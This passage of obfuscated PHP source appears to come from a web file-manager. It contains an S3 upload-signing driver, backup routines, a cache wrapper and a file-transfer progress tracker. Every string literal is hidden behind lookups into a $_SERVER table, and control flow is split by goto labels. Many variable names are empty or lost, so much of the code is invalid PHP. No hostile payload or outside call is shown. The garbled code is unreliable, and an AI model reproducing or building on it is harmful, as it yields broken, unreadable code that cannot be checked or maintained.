parent::fileOut($轡ӣ, $ϴ, $І, $ˈ); } public function fileOutImage($򕘸, $靉˶ = 250) { $Ä = $this->link($򕘸, $_SERVER[㫙][1434] . $靉˶); $this->fileOutLink($Ä); } public function fileOutImageServer($纑, $ퟀ = 250) { parent::fileOutImage($纑, $ퟀ); } public function hashMd5($䳎) { $ᓲ =& $_SERVER[㫙]; $ = $this->objectMeta($䳎); return isset($[$ᓲ[207]]) ? $[$ᓲ[207]] : !1; $؏ = $this->link($䳎, $ᓲ[1435]); } public function size($̰) { $ќ = $this->objectMeta($̰); return $ќ ? $ќ[$_SERVER[㫙][80]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($¼) { return $this->isFile($¼) || $this->isFolder($¼); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[㫙][198], $); } protected function objectMeta($͜) { return $this->cacheMethod($_SERVER[㫙][199], $͜); } protected function _objectMeta($) { $Ҥ =& $_SERVER[㫙]; list($ù, $؉) = $this->bucketManager->stat($this->bucket, $); if ($ù) { $ù[$Ҥ[80]] = intval($ù[$Ҥ[1421]]); } return $ù; } protected function _isFolder($) { $Ҷ =& $_SERVER[㫙]; if ($ == $Ҷ[12] || $ == $Ҷ[8]) { return !0; } list($, $) = $this->bucketManager->listFiles($this->bucket, trim($, $Ҷ[8]) . $Ҷ[8], $Ҷ[12], 1, $Ҷ[8]); return !empty($[$Ҷ[1424]]) || !empty($[$Ҷ[1425]]) ? !0 : !1; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function uploadFormData($ǿ, $ۊ = 3600) { $ϑ =& $_SERVER[㫙]; $靛 = $ϑ[191]; $ = $ϑ[1340]; $ϑΏ = $ϑ[62]; $̤̌ = gmdate($ϑ[1341]); $ = gmdate($ϑ[752]); $ƍ = $ϑ[1342]; $ = $ۊ . $ϑ[12]; $ق = $ϑ[1304]; $ٝ΋ = array($this->accessKey, $, $this->region, $ϑΏ, $ƍ); $Ԕ = implode($ϑ[8], $ٝ΋); $৊ = array($ϑ[1306] => gmdate($ϑ[1305], strtotime($ϑ[1343])), $ϑ[1307] => array(array($ϑ[1309] => $this->bucket), array($ϑ[1308] => $靛), array($ϑ[1310], $ϑ[1311], $ϑ[12]), array($ϑ[1310], $ϑ[1344], $ϑ[12]), array($ϑ[1310], $ϑ[1345], $ϑ[12]), array($ϑ[1312] => $ق), array($ϑ[1346] => $Ԕ), array($ϑ[1347] => $), array($ϑ[1348] => $̤̌), array($ϑ[1349] => $))); $׳ = base64_encode(json_encode($৊)); $̮ = hash_hmac($ϑ[1350], $, $ϑ[1351] . $this->secret, !0); $Ԩރ = hash_hmac($ϑ[1350], $this->region, $̮, !0); $̝ = hash_hmac($ϑ[1350], $ϑΏ, $Ԩރ, !0); $ = hash_hmac($ϑ[1350], $ƍ, $̝, !0); $ = hash_hmac($ϑ[1350], $׳, $); $ = array($ϑ[210] => $ϑ[12], $ϑ[1352] => $ϑ[12], $ϑ[1308] => $靛, $ϑ[1312] => $ق, $ϑ[1316] => $׳, $ϑ[1353] => $Ԕ, $ϑ[1354] => $, $ϑ[1355] => $̤̌, $ϑ[1356] => $, $ϑ[1357] => $, $ϑ[174] => $this->getHost()); return $; } public function multiUploadFormData($, $ = 3600) { $ۡ =& $_SERVER[㫙]; $ĉ = gmdate($ۡ[1436]); $سLJ = array(); $Մ = $this->client->getUploadId($this->bucket, $, $سLJ); if (!$Մ) { return !1; } return array($ۡ[218] => $Մ, $ۡ[174] => $this->getHost() . $ۡ[8] . $this->pathEncode($), $ۡ[219] => $ĉ, $ۡ[95] => $); } public function multiUploadAuthData($, $ = array()) { $ =& $_SERVER[㫙]; $ܼ = isset($[$[167]]) ? $[$[167]] : $[12]; $ = $[$[95]]; unset($[$[95]]); if (isset($[$[220]])) { return $this->listUploadParts($, $); } $ȃ﫪 = array(); if (isset($[$[1437]])) { $ȃ﫪[$[1438]] = $[$[1437]]; } $ = explode($[176], $this->getHost()); $͂ = array($[1439] => $[1], $[1440] => $[12], $[210] => $[118], $[1352] => $[$[80]]); $ = $[223]; $׼ = $[8] . $this->pathEncode($) . $ܼ; $ = $this->client->__getSignatureV4($ȃ﫪, $͂, $, $׼); if (strpos($ܼ, $[222]) === 0) { if (isset($ȃ﫪[$[1438]])) { $߽٧ = $ȃ﫪[$[1438]]; } else { if (isset($[$[1438]])) { $߽٧ = $[$[1438]]; } else { $߽٧ = hash($[1350], $[12]); } } return array($[229] => $[$[229]], $[1438] => $߽٧, $[219] => $[$[1441]]); } return $[$[229]]; } public function listUploadParts($ѹ, $̭湐 = array()) { $ =& $_SERVER[㫙]; $ǡ = str_replace($[230], $[12], $̭湐[$[167]]); $څ = $this->client->listParts($this->bucket, $ѹ, $ǡ); if (!$څ) { return !1; } $ = $[1442]; foreach ($څ as $Ε) { $ .= $[1443] . "\x3c\x50\141\162\164\116\165\155\x62\145\162\x3e{$Ε[$[1397]]}\74\57\x50\x61\x72\164\116\x75\155\142\x65\162\x3e\12" . "\74\x45\x54\x61\147\x3e{$Ε[$[1398]]}\x3c\x2f\x45\124\141\147\76\12" . $[1444]; } $ .= $[1445]; $ۘ = array(); $µ = explode($[176], $this->getHost()); $ = array($[1439] => $µ[1], $[210] => $[118], $[1352] => strlen($)); $ = $[221]; $Զ = $[8] . $this->pathEncode($ѹ) . $̭湐[$[167]]; $Ն = $this->client->__getSignatureV4($ۘ, $, $, $Զ, $); return array($[229] => $Ն[$[229]], $[219] => $Ն[$[1441]], $[231] => $څ, $[1438] => $Ն[$[1438]]); } public function link($̘҇, $ = array()) { return parent::link($̘҇, $); } public function fileOut($, $ = false, $ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[㫙][1446])) { return parent::fileOutServer($, $, $, $); } parent::fileOut($, $, $, $); } public function fileOutImage($Ѯ, $Ю = 250) { if (strstr($this->endpoint, $_SERVER[㫙][1446])) { return parent::fileOutImageServer($Ѯ, $Ю); } parent::fileOutImage($Ѯ, $Ю); } public function fileOutLink($ߛ) { $輰 =& $_SERVER[㫙]; if (substr($ߛ, 0, 7) == $輰[1319]) { $ߛ = $輰[1320] . substr($ߛ, 7); } header($輰[158] . $ߛ); die; } public function getHost() { $Ũ =& $_SERVER[㫙]; $ϑ = str_rtrim(parent::getHost(), $Ũ[8] . $this->bucket); $ϑ = explode($Ũ[176], $ϑ); return $ϑ[0] . $Ũ[176] . $this->bucket . $Ũ[10] . $ϑ[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($ɒ, $ڴ = 0) { parent::__construct(); $this->source = $ɒ; $this->sourceSize = $ڴ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($爺 = false) { return $this->sourceSize; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($ = false, $ = 0, $⃵ = 0) { if (!$⃵) { $⃵ = $this->sourceSize; } $ = $this->sourceSize - $; if ($⃵ >= $) { $⃵ = $; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $, $⃵); } if ($this->sourceType == self::TYPE_FILE) { if ($⃵ <= 0) { return $_SERVER[㫙][12]; } $؏Njر = ftell($this->source); fseek_64($this->source, $؏Njر + $); $ = @fread($this->source, $⃵); fseek_64($this->source, $؏Njر); return $; } } public function hashMd5($꺄 = false) { return md5($this->getContent()); } public static function hash($, $ź = 0) { $ = new PathDriverStream($, $ź); return $->hashSimple($); } public static function md5($ڏ, $ƒ = 0) { $ = new PathDriverStream($ڏ, $ƒ); return $->hashMd5($ڏ); } } goto dߠ; FΑ: class BackupDbFile { public function __construct() { } public function index() { $鍔 =& $_SERVER[㫙]; $ = Backup::get(); $̰ = $[$鍔[32]]; $ֹ = $this->tmpFilesPath() . "\142\141\x63\153\x75\x70\137{$̰}\x2f"; $Ú = $this->backupPath($); if (!($Ú = IO::mkdir($Ú))) { return !1; } $ˇ = IO::listPath($ֹ); $ = isset($ˇ[$鍔[76]]) ? $ˇ[$鍔[76]] : array(); $ꌕ = array_sum(array_column($, $鍔[80])); if (!$ꌕ) { return !1; } $ōچ = array($鍔[799] => $ꌕ, $鍔[800] => time()); Backup::set($ōچ); $ɭ = new TaskFileTransfer($鍔[801], $鍔[781], count($), LNG($鍔[782]) . $鍔[460] . LNG($鍔[784]) . $鍔[802]); $ɭ->task[$鍔[764]] = $ꌕ; foreach ($ˇ[$鍔[76]] as $ߛ) { $Ŝ = IO::move($ߛ[$鍔[78]], $Ú); if (!$Ŝ) { $ɭ->end(); $ = IO::getLastError($鍔[803] . $ߛ[$鍔[78]] . $鍔[804] . $Ú . $鍔[536]); write_log($, $鍔[781]); return !1; } } $ڋ = new DbManage(); $ܮ = $ڋ->getSqlFile(); if (!$ܮ[$鍔[805]] || !$ܮ[$鍔[13]]) { return !1; } IO::move($ܮ[$鍔[805]], $Ú); IO::move($ܮ[$鍔[13]], $Ú); $ɭ->end(); $ōچ = array($鍔[806] => $ꌕ, $鍔[807] => time()); Backup::set($ōچ); return !0; } private function backupPath($) { $ =& $_SERVER[㫙]; $𪠍 = $[$[32]]; $٬ = Model($[771])->get($[772]); $ҽ = substr(md5($[773] . $٬ . $𪠍), 0, 8); return "\x7b\151\x6f\x3a{$[$[753]]}\175\x2f\144\x61\164\141\x62\x61\x73\145\x2f\x62\x61\x63\x6b\165\160\x2f" . $𪠍 . $[11] . $ҽ; } private function tmpFilesPath() { $̟ =& $_SERVER[㫙]; $̊ = TEMP_FILES; if ($GLOBALS[$̟[6]][$̟[90]][$̟[797]]) { $̊ = $GLOBALS[$̟[6]][$̟[90]][$̟[797]]; if (!mk_dir($̊) || !is_writable($̊) || !IO::mkfile($̊ . $̟[798])) { $̊ = TEMP_FILES; } } return $̊; } } class BackupFile { public function __construct() { } public function index() { $𻦗 = Backup::get(); $ݔᗞ = $𻦗[$_SERVER[㫙][288]][$_SERVER[㫙][192]][$_SERVER[㫙][467]]; $Ҁ = array($_SERVER[㫙][468] => array($_SERVER[㫙][808], $ݔᗞ), $_SERVER[㫙][809] => array($_SERVER[㫙][326], $𻦗[$_SERVER[㫙][753]])); $" = (int) Model($_SERVER[㫙][790])->where($Ҁ)->count($_SERVER[㫙][467]); $ = (int) Model($_SERVER[㫙][790])->where($Ҁ)->sum($_SERVER[㫙][80]); $ = new TaskFileTransfer($_SERVER[㫙][810], $_SERVER[㫙][781], $", LNG($_SERVER[㫙][782]) . $_SERVER[㫙][783] . LNG($_SERVER[㫙][811])); $->task[$_SERVER[㫙][764]] = $; $邃 = array($_SERVER[㫙][812] => $", $_SERVER[㫙][813] => $, $_SERVER[㫙][814] => time()); Backup::set($邃); $п = !0; $㭨 = $this->storeIds(); $ꏬӟ = 1; $ = 1000; $ = $ߊ = 0; $ = array(); $ = $ = 0; do { $ = $_SERVER[㫙][815]; $ = Model($_SERVER[㫙][790])->where($Ҁ)->field($)->order($_SERVER[㫙][816])->selectPage($, $ꏬӟ); $ = !empty($[$_SERVER[㫙][364]]) ? $[$_SERVER[㫙][364]] : array(); foreach ($ as $艠) { if (!$this->_fileExist($艠, $, $㭨)) { $" -= 1; $ -= (int) $艠[$_SERVER[㫙][80]]; write_log("\146\151\x6c\x65\40\x6e\157\x74\x20\145\170\x69\163\x74\56\146\x69\154\145\111\x44\72{$艠[$_SERVER[㫙][467]]}\x2c\40\x70\141\164\x68\x3a{$艠[$_SERVER[㫙][78]]}", $_SERVER[㫙][817]); continue; } $Ț = $艠[$_SERVER[㫙][78]]; $ = "\173\x69\x6f\72{$𻦗[$_SERVER[㫙][753]]}\x7d" . substr($Ț, strlen("\x7b\x69\x6f\x3a{$艠[$_SERVER[㫙][818]]}\175")); if (IO::exist($)) { $->updateFileEnd($艠[$_SERVER[㫙][32]], $艠[$_SERVER[㫙][80]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($Ț, $, $_SERVER[㫙][819])) { write_log($_SERVER[㫙][820] . $Ț . $_SERVER[㫙][804] . $ . $_SERVER[㫙][536], $_SERVER[㫙][781]); $п = !1; break; } } $ݔᗞ = $艠[$_SERVER[㫙][467]]; $ߊ += 1; $ += $艠[$_SERVER[㫙][80]]; $ += 1; $ += $艠[$_SERVER[㫙][80]]; if ($ >= 1024 * 1024 * 100) { $邃 = array($_SERVER[㫙][821] => $ݔᗞ, $_SERVER[㫙][822] => $, $_SERVER[㫙][823] => $); Backup::set($邃); $ = $ߊ = 0; } } $ = count($); $ꏬӟ++; } while ($ == $); $->end(); $邃 = array($_SERVER[㫙][824] => 1, $_SERVER[㫙][496] => time(), $_SERVER[㫙][776] => 1, $_SERVER[㫙][821] => $ݔᗞ, $_SERVER[㫙][813] => $, $_SERVER[㫙][812] => $", $_SERVER[㫙][825] => time()); if ($ߊ) { $邃[$_SERVER[㫙][822]] = $; $邃[$_SERVER[㫙][823]] = $; } Backup::set($邃); $this->_fileFilter($); return !0; } private function _fileExist($, &$, $ޗ) { $ޗ =& $_SERVER[㫙]; $ = $[$ޗ[78]]; if (in_array($[$ޗ[467]], $)) { return !1; } if (!in_array($[$ޗ[818]], $ޗ)) { return !1; } if (IO::exist($)) { return !0; } $ = get_path_father($); if (IO::exist($)) { $[] = $[$ޗ[467]]; return !1; } $ӎ = array($ޗ[818] => $[$ޗ[818]], $ޗ[78] => array($ޗ[378], "{$}\45")); $۴ = Model($ޗ[790])->where($ӎ)->field($ޗ[468])->select(); $ = array_merge($, array_to_keyvalue($۴, $ޗ[12], $ޗ[467])); return !1; } private function _fileFilter($) { $ =& $_SERVER[㫙]; if (empty($)) { return; } $ = array($[467] => array($[7], array_unique($))); $ = Model($[826])->where($)->field($[403])->select(); foreach ($ as $) { Model($[826])->remove($[$[403]], !1); } } private function storeIds() { $ɘ =& $_SERVER[㫙]; $ѡ = Model($ɘ[768])->listData(); $ޑ = array(); $Ė = $GLOBALS[$ɘ[6]][$ɘ[90]][$ɘ[827]]; foreach ($ѡ as $ʼn) { $ކʱ = strtolower($ʼn[$ɘ[96]]); if (!isset($Ė[$ކʱ])) { continue; } $͹ = $ɘ[74] . (isset($Ė[$ކʱ]) ? $Ė[$ކʱ] : ucfirst($ކʱ)); if (!class_exists($͹)) { continue; } $ޑ[] = $ʼn[$ɘ[392]]; } return $ޑ; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $؝ =& $_SERVER[㫙]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ǧ = $GLOBALS[$؝[6]][$؝[344]]; $߰ = $ǧ[$ǧ[$؝[828]]]; $ = $ǧ[$؝[829]]; switch ($ǧ[$؝[828]]) { case $؝[21]: self::$handle = Model($؝[830]); break; case $؝[831]: self::$handle = new CacheRedis($߰, $); break; case $؝[832]: self::$handle = new CacheMemcached($߰, $); break; case $؝[192]: self::$handle = new CacheFile($߰, $); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($п) { if (is_array($п) || is_object($п)) { $п = json_encode($п); } $п = rawurlencode($п); return md5(KOD_SITE_ID . $_SERVER[㫙][11] . $п); } public static function get($ő揋, $ԫ = false) { $ᄻ = self::key($ő揋); if ($ԫ) { return unserialize(self::init()->get($ᄻ)); } if (!isset(self::$memoryCache[$ᄻ])) { $ = self::init()->get($ᄻ); self::$memoryCache[$ᄻ] = unserialize($); } return self::$memoryCache[$ᄻ]; } public static function set($ء, $, $󔉷 = false) { $Վٺ = self::key($ء); if (isset(self::$memoryCache[$Վٺ]) && self::$memoryCache[$Վٺ] === $) { return !0; } if ($󔉷 === 0) { self::$memoryCache[$Վٺ] = $; return !0; } CacheLock::lock($ء); $ۗ = self::init()->set($Վٺ, serialize($), $󔉷); self::$memoryCache[$Վٺ] = $; CacheLock::unlock($ء); return $ۗ; } public static function getCall($ց, $, $, $ = array()) { $ =& $_SERVER[㫙]; $߁ = self::get($ց); if ($߁ || $߁ === $[12]) { return $߁; } $߁ = call_user_func_array($, $); $߁ = $߁ ? $߁ : $[12]; self::set($ց, $߁, $); return $߁; } public static function remove($) { $݀ = self::key($); unset(self::$memoryCache[$݀]); self::clearTimeout(); CacheLock::lock($); $烙ύ = self::init()->remove($݀); CacheLock::unlock($); return $烙ύ; } public static function removeMemory($֢ܗ) { $™ = self::key($֢ܗ); unset(self::$memoryCache[$™]); } public static function clearMemory($⛝ = false) { if ($⛝) { $⛝ = self::key($⛝); unset(self::$memoryCache[$⛝]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[㫙][833])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[㫙][834])) { self::init()->clearTimeout(); } } } goto C⬵҈; Bٕǐ: class PathDriverDbShareLink extends PathDriverDB { public function __construct($§) { $this->pathParse = $§; $this->model = Model($_SERVER[㫙][1321]); } protected function infoParse($ߧ, $޴ػ = false, $ = false) { $ =& $_SERVER[㫙]; return Action($[1169])->sharePathInfo($this->pathParse[$[78]], !0, $޴ػ); } public function listPath($ˈ, $ = false) { $ =& $_SERVER[㫙]; $ = parent::listPath($ˈ, $); if (!$) { return $; } if (is_array($[$[1330]])) { $[$[1330]] = Action($[1169])->shareItemInfo($[$[1330]]); } foreach ($ as $ => $۸) { if (!in_array($, array($[76], $[77]))) { continue; } foreach ($۸ as $ => $) { $[$][$] = Action($[1169])->shareItemInfo($); } } return $; } public function listAll($ψ) { $ =& $_SERVER[㫙]; $Փ = IO::info($this->pathParse[$[78]]); if (!$Փ) { return array(); } $۔ = $this->model->listAll($ψ); foreach ($۔ as &$) { $[$[87]] = Action($[1169])->shareItemInfo($[$[87]]); } unset($); return $۔; } } class PathDriverDriverShareItem { public function __construct($ʎ) { $this->pathParse = $ʎ; } public function __call($н, $) { $ؼ =& $_SERVER[㫙]; if (method_exists($this, $н)) { return; } $ͫ = call_user_func_array(array($ؼ[1331], $н), $); $ = array($ؼ[1332], $ؼ[1333], $ؼ[1334], $ؼ[1335], $ؼ[549], $ؼ[551], $ؼ[1336], $ؼ[108], $ؼ[1337], $ؼ[1338]); if (in_array($н, $)) { $ͫ = $this->getPathOuter($ͫ); } return $ͫ; } public function copy($ĝ·, $ޮ, $ = false, $Ÿ = false) { return $this->copyMove($ĝ·, $ޮ, $, $_SERVER[㫙][549], $Ÿ); } public function move($, $ﻗ, $ = false, $̱͎ = false) { return $this->copyMove($, $ﻗ, $, $_SERVER[㫙][551], $̱͎); } private function copyMove($, $ܻ, $͂, $Ŧ, $ľ = false) { $ =& $_SERVER[㫙]; $έ = $ܻ; $ = IO::driverMake($ܻ); if ($->pathParse[$[1147]]) { $ܻ = $->pathParse[$[1147]]; } else { $ܻ = $έ; } $ = IO::copyMove($, $ܻ, $͂, $Ŧ, $ľ); $ = $this->getPathOuter($); return $; } public function pathThis($܊͇) { return get_path_this($this->pathParse[$_SERVER[㫙][78]]); } public function pathFather($뜵) { return get_path_father($this->pathParse[$_SERVER[㫙][78]]); } public function iconvSystem($ݮ) { return $ݮ; } protected function infoParse($К, $ = false) { $ӗ =& $_SERVER[㫙]; $Ց = $this->pathParse[$ӗ[486]][$ӗ[1170]] . $this->pathParse[$ӗ[1163]]; if ($) { $ˠ = IO::infoWithChildren($Ց); } else { $ˠ = IO::info($Ց); } $Ý = $this->pathParse[$ӗ[486]]; return Action($ӗ[1329])->_shareItemeParse($ˠ, $Ý); } public function listAll($𰾍) { $ȝ =& $_SERVER[㫙]; $ = IO::listAll($𰾍); $ݩ = $this->pathParse[$ȝ[486]]; foreach ($ as &$Έ) { check_abort(); $Œڵ = IO::info($Έ[$ȝ[78]]); $Œڵ = is_array($Œڵ) ? $Œڵ : array(); $Έ = array_merge($Œڵ, $Έ); $Έ[$ȝ[87]] = Action($ȝ[1329])->_shareItemeParse($Έ, $ݩ); } unset($Έ); return $; } public function getPathOuter($ū΃) { $ =& $_SERVER[㫙]; $߃ = KodIO::parse($ū΃); if ($߃[$[33]] == KodIO::KOD_SHARE_ITEM) { return $߃[$[78]]; } $ޛĐ = KodIO::clear($ū΃); $Ֆ = KodIO::clear($this->pathParse[$[486]][$[1170]]); $ʸ = substr($ޛĐ, strlen($Ֆ)); if (substr($ޛĐ, 0, strlen($Ֆ)) != $Ֆ) { return !1; } return $this->pathParse[$[1164]] . $[8] . ltrim($ʸ, $[8]); } public function getType() { $ =& $_SERVER[㫙]; $ = str_replace($[74], $[12], get_class($this)); return strtolower($); } public function isTypeObject($۶) { return IO::isTypeObject($۶); } public function info($Ӿ) { return $this->infoParse($Ӿ); } public function infoAuth($ϧ) { return $this->infoParse($ϧ); } public function infoWithChildren($ۏ) { return $this->infoParse($ۏ, !0); } public function infoFull($) { return $this->infoParse($); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($ܼ) { $this->pathParse = $ܼ; } protected function infoParse($֭, $璶 = false) { $֏ =& $_SERVER[㫙]; return Action($֏[1169])->sharePathInfo($this->pathParse[$֏[78]], !0, $璶); } public function listPath($, $㑃 = false) { $ =& $_SERVER[㫙]; $ = IO::listPath($, $㑃); if (!$) { return $; } if (is_array($[$[1330]])) { $ = Action($[1339])->parsePathChildren($[$[1330]], array($[422] => $)); $[$[1330]] = Action($[1169])->shareItemInfo($); } foreach ($ as $ => $) { if (!in_array($, array($[76], $[77]))) { continue; } foreach ($ as $Ӷ => $) { $ = Action($[1339])->parsePathChildren($, array($[422] => $)); $[$][$Ӷ] = Action($[1169])->shareItemInfo($); } } return $; } public function listAll($) { $Ȭ =& $_SERVER[㫙]; $ό = IO::listAll($); foreach ($ό as &$ͥ) { $͡ = IO::info($ͥ[$Ȭ[78]]); $͡ = is_array($͡) ? $͡ : array(); $ͥ = array_merge($͡, $ͥ); $ͥ[$Ȭ[87]] = Action($Ȭ[1169])->shareItemInfo($ͥ); } unset($ͥ); return $ό; } } goto F; a袏: class TaskFileTransfer extends Task { protected function startAfter() { $ =& $_SERVER[㫙]; $ρ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($[1678], array($this, $[1679])); Hook::bind($[1209], array($this, $[1680])); Hook::bind($[1681], array($this, $[1682])); Hook::bind($[598], array($this, $[1683])); Hook::bind($[599], array($this, $[1684])); Hook::bind($[601], array($this, $[1685])); Hook::bind($[602], array($this, $[1685])); Hook::bind($[568], array($this, $[1686])); Hook::bind($[565], array($this, $[1686])); Hook::bind($[570], array($this, $[1686])); Hook::bind($[572], array($this, $[1686])); Hook::bind($[574], array($this, $[1686])); Hook::bind($[1687], array($this, $[1688])); Hook::bind($[591], array($this, $[1689])); $this->sourceModelCopyFlag = !1; Hook::bind($[1690], array($this, $[1691])); Hook::bind($[1692], array($this, $[1693])); Hook::bind($[1694], array($this, $[1695])); $ρ[$[1696]] = LNG($[1697]); $ρ[$[1698]] = 0; $ρ[$[1699]] = 0; $ρ[$[1060]] = $[12]; $ρ[$[1700]] = $[12]; $ρ[$[1701]] = 0; $ρ[$[1702]] = 0; $ρ[$[1703]] = 0; if (!$ρ[$[1548]]) { $ρ[$[1548]] = LNG($[1704]); } } protected function endAfter() { $ =& $_SERVER[㫙]; Hook::unbind($[1678], array($this, $[1679])); Hook::unbind($[1209], array($this, $[1680])); Hook::unbind($[1681], array($this, $[1682])); Hook::unbind($[598], array($this, $[1683])); Hook::unbind($[599], array($this, $[1684])); Hook::unbind($[601], array($this, $[1685])); Hook::unbind($[602], array($this, $[1685])); Hook::unbind($[568], array($this, $[1686])); Hook::unbind($[565], array($this, $[1686])); Hook::unbind($[570], array($this, $[1686])); Hook::unbind($[572], array($this, $[1686])); Hook::unbind($[574], array($this, $[1686])); Hook::unbind($[1687], array($this, $[1688])); Hook::unbind($[591], array($this, $[1689])); Hook::unbind($[1690], array($this, $[1691])); Hook::unbind($[1692], array($this, $[1693])); Hook::unbind($[1694], array($this, $[1695])); } public function copyMoveStart($׀, $, $㞴, $е) { $ =& $_SERVER[㫙]; self::log($[1705] . $ . $[70] . $е); $ޭ = rtrim(TEMP_FILES, $[8]); if (substr($, 0, strlen($ޭ)) == $ޭ) { return; } if (substr($е, 0, strlen($ޭ)) == $ޭ) { return; } $཯Ķ =& $this->task; $཯Ķ[$[1706]] = KodIO::transferType($׀, $㞴); $this->update(); } public function updateAfter() { $Ų =& $_SERVER[㫙]; $ˋ =& $this->task; if (!$ˋ[$Ų[764]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($ˋ[$Ų[1706]] == $Ų[1298]) { return; } self::updateTask($ˋ); } private static function updateTask(&$ڃȏ) { $쒽 =& $_SERVER[㫙]; if ($ڃȏ[$쒽[1706]] == $쒽[1193] || $ڃȏ[$쒽[1706]] == $쒽[108]) { if ($ڃȏ[$쒽[1700]]) { $ڃȏ[$쒽[1703]] = $ڃȏ[$쒽[1702]] + $ڃȏ[$쒽[1699]]; } } else { if ($ڃȏ[$쒽[1706]] == $쒽[1299]) { if ($ڃȏ[$쒽[1700]] == $쒽[1193]) { $ڃȏ[$쒽[1703]] = $ڃȏ[$쒽[1702]] + $ڃȏ[$쒽[1699]] * 0.5; } else { if ($ڃȏ[$쒽[1700]] == $쒽[108]) { $ڃȏ[$쒽[1703]] = $ڃȏ[$쒽[1702]] + $ڃȏ[$쒽[1698]] * 0.5 + $ڃȏ[$쒽[1699]] * 0.5; } } } } $ڃȏ[$쒽[1652]] = $ڃȏ[$쒽[1703]] / $ڃȏ[$쒽[764]]; if ($ڃȏ[$쒽[1652]] > 0) { $ = timeFloat() - $ڃȏ[$쒽[1654]] - $ڃȏ[$쒽[1657]]; $ڃȏ[$쒽[1658]] = $ * (1 - $ڃȏ[$쒽[1652]]) / $ڃȏ[$쒽[1652]]; } } public function addPath($) { $̱ =& $_SERVER[㫙]; if (!$) { return; } $՝ۑ =& $this->task; $ߕ = IO::infoWithChildren($); $ = $՝ۑ[$̱[1707]] ? $՝ۑ[$̱[1707]][$̱[1708]] : 0; $՝ۑ[$̱[1707]] = array($̱[1708] => $ + 1, $̱[421] => $ߕ[$̱[32]], $̱[78] => $ߕ[$̱[78]], $̱[519] => $ߕ[$̱[519]] ? $ߕ[$̱[519]] : $ߕ[$̱[78]]); if ($ߕ[$̱[33]] == $̱[192]) { $՝ۑ[$̱[787]] += 1; } else { $՝ۑ[$̱[787]] += $ߕ[$̱[83]][$̱[81]]; if ($ߕ[$̱[403]]) { $՝ۑ[$̱[787]] += $ߕ[$̱[83]][$̱[82]] + 1; } } $՝ۑ[$̱[764]] += $ߕ[$̱[80]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddFile($) { $ =& $_SERVER[㫙]; $ =& $this->task; $[$[1696]] = $[$[32]]; $[$[1060]] = $[$[32]]; $this->update(); } public function copyFileStart($ǩ, $А, $̝, $, $ٰ, $وﷹ) { $ӽī =& $_SERVER[㫙]; $ӟ = $ٰ; if ($ӟ == $GLOBALS[$ӽī[1709]]) { $ӟ = $GLOBALS[$ӽī[1710]]; } $GLOBALS[$ӽī[1710]] = $ٰ; $GLOBALS[$ӽī[1709]] = $وﷹ; $ʗ =& $this->task; $ʗ[$ӽī[1696]] = $ӟ; $ʗ[$ӽī[1698]] = (int) $ǩ->size($А); $ʗ[$ӽī[1699]] = 0; $ʗ[$ӽī[1060]] = $ӽī[12]; $ʗ[$ӽī[1700]] = $ӽī[12]; $ʗ[$ӽī[1701]] = 0; $ц = $ʗ[$ӽī[1698]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($ʗ[$ӽī[392]] . $ӽī[1711]); if ($ц && file_exists(get_path_father($))) { Cache::set($ʗ[$ӽī[392]] . $ӽī[1711], $); $ʗ[$ӽī[1672]] = array($ӽī[1712], $ӽī[1713]); } $this->update(0, $ц); } public static function updateCopyLocalFileSize($) { $熒 =& $_SERVER[㫙]; $Ó = Cache::get($[$熒[392]] . $熒[1711]); if (!$Ó || !file_exists($Ó)) { return $; } $[$熒[1699]] = @filesize($Ó); $[$熒[1703]] += $[$熒[1699]]; self::updateTask($); return $; } public function copyFileEnd($, $, $, $ɠٛ, $Ӥ, $ݫ) { $Τ =& $_SERVER[㫙]; $ =& $this->task; $[$Τ[1699]] = $[$Τ[1698]]; $[$Τ[1700]] = $Τ[12]; unset($[$Τ[1672]]); if ($Ӥ == $[$Τ[1696]]) { $[$Τ[1702]] += $[$Τ[1698]]; $[$Τ[1703]] = $[$Τ[1702]]; $this->update(1); } else { $this->update(); $[$Τ[1699]] = 0; } Cache::remove($[$Τ[392]] . $Τ[1711]); self::log($Τ[1714] . $ . $Τ[70] . $ɠٛ . $Τ[226] . $Ӥ . $Τ[1715] . $[$Τ[1696]]); } public function updateFileEnd($̆, $) { $Ժڊ =& $_SERVER[㫙]; $ =& $this->task; $[$Ժڊ[1696]] = $̆; $[$Ժڊ[1698]] = $; $[$Ժڊ[1702]] += $; $[$Ժڊ[1703]] = $[$Ժڊ[1702]]; $this->update(1); self::log($Ժڊ[1716] . $̆); } public function sourceModelCopy($Ƣ) { $ =& $_SERVER[㫙]; $ = $Ƣ[0]; $İ = $Ƣ[1]; $LJ =& $this->task; $this->sourceModelCopyFlag = !0; $ = 0; switch ($) { case $[566]: $ = 1; break; case $[569]: $LJ[$[1696]] = $İ[$[32]]; break; case $[571]: $ = intval($Ƣ[$[375]] * 0.4); break; case $[573]: $ = intval($Ƣ[$[375]] * 0.2); break; case $[575]: $ = intval($Ƣ[$[375]] * 0.4); break; } $this->update($); 